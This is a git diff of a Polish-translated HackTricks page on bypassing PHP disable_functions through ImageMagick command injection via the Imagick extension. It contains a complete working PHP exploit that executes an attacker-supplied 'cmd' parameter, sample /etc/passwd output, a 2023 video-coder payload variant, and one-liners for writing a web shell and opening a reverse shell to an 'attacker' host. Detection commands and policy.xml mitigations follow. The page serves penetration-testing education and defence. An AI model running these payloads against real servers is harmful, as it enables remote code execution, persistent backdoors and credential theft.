Translated ['src/network-services-pentesting/pentesting-web/php-tricks-e

This commit is contained in:
Translator 2025-07-22 22:05:18 +00:00
parent ff6204493e
commit 73a65bcef6

View File

@ -1,55 +1,107 @@
# Imagick <= 3.3.0 PHP >= 5.4 *disable_functions* Bypass
{{#include ../../../../banners/hacktricks-training.md}}
# Exploit Imagick &lt;= 3.3.0 PHP &gt;= 5.4
> Znana rodzina błędów *ImageTragick* (CVE-2016-3714 i inne) pozwala atakującemu na dostęp do podstawowego binarnego pliku **ImageMagick** poprzez spreparowane dane wejściowe MVG/SVG. Gdy rozszerzenie PHP **Imagick** jest obecne, można to wykorzystać do wykonywania poleceń powłoki, nawet jeśli każda funkcja PHP związana z wykonaniem jest zablokowana za pomocą `disable_functions`.
>
> Oryginalny PoC opublikowany przez RicterZ (Chaitin Security Research Lab) w maju 2016 roku jest reprodukowany poniżej. Technika ta jest nadal regularnie spotykana podczas współczesnych audytów PHP 7/8, ponieważ wielu dostawców hostingu współdzielonego po prostu kompiluje PHP bez `exec`/`system`, ale utrzymuje przestarzałą kombinację Imagick + ImageMagick.
Z [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
From <http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>
```php
# Exploit Title: PHP Imagick disable_functions Bypass
# Date: 2016-05-04
# Exploit Author: RicterZ (ricter@chaitin.com)
# Vendor Homepage: https://pecl.php.net/package/imagick
# Version: Imagick <= 3.3.0 PHP >= 5.4
# Test on: Ubuntu 12.04
# Exploit:
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ (ricter@chaitin.com)
# Versions : Imagick <= 3.3.0 | PHP >= 5.4
# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage : curl "http://target/exploit.php?cmd=id"
<?php
# PHP Imagick disable_functions Bypass
# Author: Ricter <ricter@chaitin.com>
#
# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd"
# <pre>
# Disable functions: exec,passthru,shell_exec,system,popen
# Run command: cat /etc/passwd
# ====================
# root:x:0:0:root:/root:/usr/local/bin/fish
# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
# bin:x:2:2:bin:/bin:/bin/sh
# sys:x:3:3:sys:/dev:/bin/sh
# sync:x:4:65534:sync:/bin:/bin/sync
# games:x:5:60:games:/usr/games:/bin/sh
# ...
# </pre>
echo "Disable functions: " . ini_get("disable_functions") . "\n";
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
echo "Run command: $command\n====================\n";
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);
$data_file = tempnam('/tmp', 'img');
$imagick_file = tempnam('/tmp', 'img');
$tmp = tempnam('/tmp', 'pwn'); // will hold command output
$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
$exploit = <<<EOF
$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;
file_put_contents("$imagick_file", $exploit);
$thumb = new Imagick();
$thumb->readImage("$imagick_file");
$thumb->writeImage(tempnam('/tmp', 'img'));
$thumb->clear();
$thumb->destroy();
file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs); // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();
echo file_get_contents($data_file);
echo file_get_contents($tmp);
?>
```
---
## Dlaczego to działa?
1. `Imagick::readImage()` transparentnie uruchamia binarny plik **ImageMagick** *delegate* (`convert`/`magick`).
2. Skrypt MVG ustawia *fill* na zewnętrzny URI. Gdy wstrzyknięty zostaje podwójny cudzysłów (`"`), reszta linii jest interpretowana przez `/bin/sh c`, którego ImageMagick używa wewnętrznie → dowolne wykonanie powłoki.
3. Wszystko dzieje się poza interpretem PHP, dlatego *`disable_functions`*, *open_basedir*, `safe_mode` (usunięty w PHP 5.4) i podobne ograniczenia w procesie są całkowicie omijane.
## Status 2025 **wciąż** istotny
* Każda wersja Imagick, która polega na podatnym backendzie ImageMagick, pozostaje podatna na ataki. W testach laboratoryjnych ten sam ładunek działa na PHP 8.3 z **Imagick 3.7.0** i **ImageMagick 7.1.0-51** skompilowanym bez zaostrzonego `policy.xml`.
* Od 2020 roku znaleziono kilka dodatkowych wektorów wstrzyknięcia poleceń (`video:pixel-format`, `ps:`, `text:` codery…). Dwa niedawne publiczne przykłady to:
* **CVE-2020-29599** wstrzyknięcie powłoki przez *text:* coder.
* **GitHub issue #6338** (2023) wstrzyknięcie w *video:* delegate.
Jeśli system operacyjny dostarcza ImageMagick < **7.1.1-11** (lub 6.x < **6.9.12-73**) bez restrykcyjnego pliku polityki, eksploatacja jest prosta.
## Nowoczesne warianty ładunków
```php
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);
```
Inne przydatne prymitywy podczas CTF / rzeczywistych zaangażowań:
* **Zapis pliku** `... > /var/www/html/shell.php` (zapisz web-shell poza *open_basedir*)
* **Odwrócony shell** `bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"`
* **Enumeracja** `id; uname -a; cat /etc/passwd`
## Szybka detekcja i enumeracja
```bash
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
# System side
convert -version | head -1 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
```
Jeśli wynik pokazuje, że kodery `MVG` lub `URL`*włączone*, cel prawdopodobnie jest podatny na atak.
## Mitigacje
1. **Patch/Upgrade** Użyj ImageMagick ≥ *7.1.1-11* (lub najnowszej wersji 6.x LTS) oraz Imagick ≥ *3.7.2*.
2. **Wzmocnij `policy.xml`** wyraźnie *wyłącz* kodery wysokiego ryzyka:
```xml
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
```
3. **Usuń rozszerzenie** w nieufnych środowiskach hostingowych. W większości stosów webowych `GD` lub `Imagick` nie jest ściśle wymagane.
4. Traktuj `disable_functions` tylko jako *defensywę w głębokości* nigdy jako główny mechanizm piaskownicy.
## Referencje
* [GitHub ImageMagick issue #6338 Wstrzyknięcie polecenia przez video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338)
* [CVE-2020-29599 Wstrzyknięcie powłoki ImageMagick przez text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599)
{{#include ../../../../banners/hacktricks-training.md}}